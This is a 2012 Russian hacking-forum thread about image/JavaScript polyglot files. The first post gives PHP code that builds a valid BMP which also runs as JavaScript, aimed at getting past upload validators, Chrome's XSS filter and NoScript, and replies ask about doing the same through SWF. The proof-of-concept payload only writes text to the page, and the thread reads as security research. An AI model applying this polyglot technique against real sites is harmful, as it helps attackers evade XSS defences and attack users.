Исследуем бинарные форматы - Клиентские джойнеры

Discussion in 'Уязвимости' started by randman, 30 Dec 2012.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Всем привет, вчера, отвечая здесь: https://forum.antichat.ru/showpost.php?p=3383318&postcount=4 на пост Rainbow, меня посетила мысль, а нельзя ли создавать для эксплуатации на клиентской части такие файлы, которые будут совмещать форматы, так-как большинство валидаторов, обрабатывающих файлы после заливки проверяют его валидность, в большинстве случаев на картинку.

    В случае обхода фильтра XSS в Chrome, была нужна загрузка произвольных файлов, которая есть не везде, я подумал и вот что из этого вышло:

    После недолгих поисков описания BMP, родился скрипт, создающий BMP 100x100, прекрасно работающий в фото-приложениях, но имеющий возможность интерпретации:
    PHP:

    <?php
    class outImg {
        public static function 
    bmpGet () {
            
    $outData = array();
            
    /* BITMAPFILEHEADER */
                //bfType
                
    $outData[0]    = "BM";                        //2h       Byte (2)
                //bfSize
                
    $outData[1]    = "/*\x00\x00";                        //6h       Byte (4)
                //bfReserved1
                
    $outData[2]    = "\x00\x00";                    //8h       Byte (2)
                //bfReserved2
                
    $outData[3]    = "\x00\x00";                    //Ah      Byte (2)
                //bfOffBits
                
    $outData[4]    = "\x36\x00\x00\x00";                //Eh      Byte (4)
                                                            //All - Eh
            /* BITMAPINFOHEADER */
                //biSize
                
    $outData[5]    = "\x00\x00\x00\x28";                //12h      Byte (4)
                //biWidth
                
    $outData[6]    = "\x64\x00\x00\x00";                //16h      Byte (4)
                //biHeight
                
    $outData[7]    = "\x64\x00\x00\x00";                //1Ah      Byte (4)
                //biPlanes
                
    $outData[8]    = "\x01\x00";                    //1Ch      Byte (2)
                //biBitCount
                
    $outData[9]    = "\x08\x00";                    //1Eh      Byte (2)
                //biCompression
                
    $outData[10]   = "\x00\x00\x00\x00";                //22h      Byte (4)
                //biSizeImage
                
    $outData[11]   = "\x00\x00\x00\x00";                //26h      Byte (4)
                //biXPelsPerMeter
                
    $outData[12]   = "\x00\x00\x00\x00";                //2Ah      Byte (4)
                //biYPelsPerMeter
                
    $outData[13]   = "\x00\x00\x00\x00";                //2Eh      Byte (4)
                //biClrUsed
                
    $outData[14]   = "\x00\x00\x00\x00";                //32h      Byte (4)
                //biClrImportant
                
    $outData[15]   = "\x00\x00\x00\x00";                //36h      Byte (4)
                                                        //All - 14h
            /* Binary Data */
                
    $outData[17]   = '*/=1;document.write("Antichat!");';
                
    $outData[16]   = str_repeat("\xFF", ((100*100) - strlen($outData[17])));
            
    /* JS Data */
            
            
    return join(''$outData);
        }
    }
    if(isset(
    $_GET['js'])) {
        
    header ("Content-Type: image/gif");
        echo 
    outImg::bmpGet();
        exit;
    }
    ?><html>
        <head>
            <title>XSS Тест - обход запрета выполнения JS на другом домене + Обход Chrome фильтра</title>
        </head>
        <body>
            <pre>Контент на странице</pre><br>
            XSS:<br>
            <script src="./test.php?js=1"></script>
        </body>
    </html>
    В данном векторе атаки есть просторы для исследований, т.к. существуют другие потенциальные уязвимости, к примеру в SWF, позволяющие читать данные с данного домена, и эти наработки могут пригодится для эксплуатации уязвимости там, где её просто нет, да и способы склеивания можно значительно усовершенствовать, что-бы возможно они имели возможность проходить ещё либо через какие-то функции.


    + С помощью донного способа можно обойти ограничения NoScript и т.п. плагинов.

    UDP:
    http://www.adobe.com/content/dam/Adobe/en/devnet/swf/pdf/swf_file_format_spec_v10.pdf

    Интересный документ
     
    #1 randman, 30 Dec 2012
    Last edited: 25 Feb 2013
    1 person likes this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Еще бы сжатие картинок обойти. С php это получается, js надо попоробовать.
     
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Спущено.
     
  4. blesse

    blesse Member

    Joined:
    18 Jan 2012
    Messages:
    175
    Likes Received:
    8
    Reputations:
    1
    Возможно не так все понял(не колер я)
    Думаю ни для кого не секрет что через swf можно выполнить поизвольный жс код,но часто его стали заковывать в nosсript с помощью этого как то можно это обойти?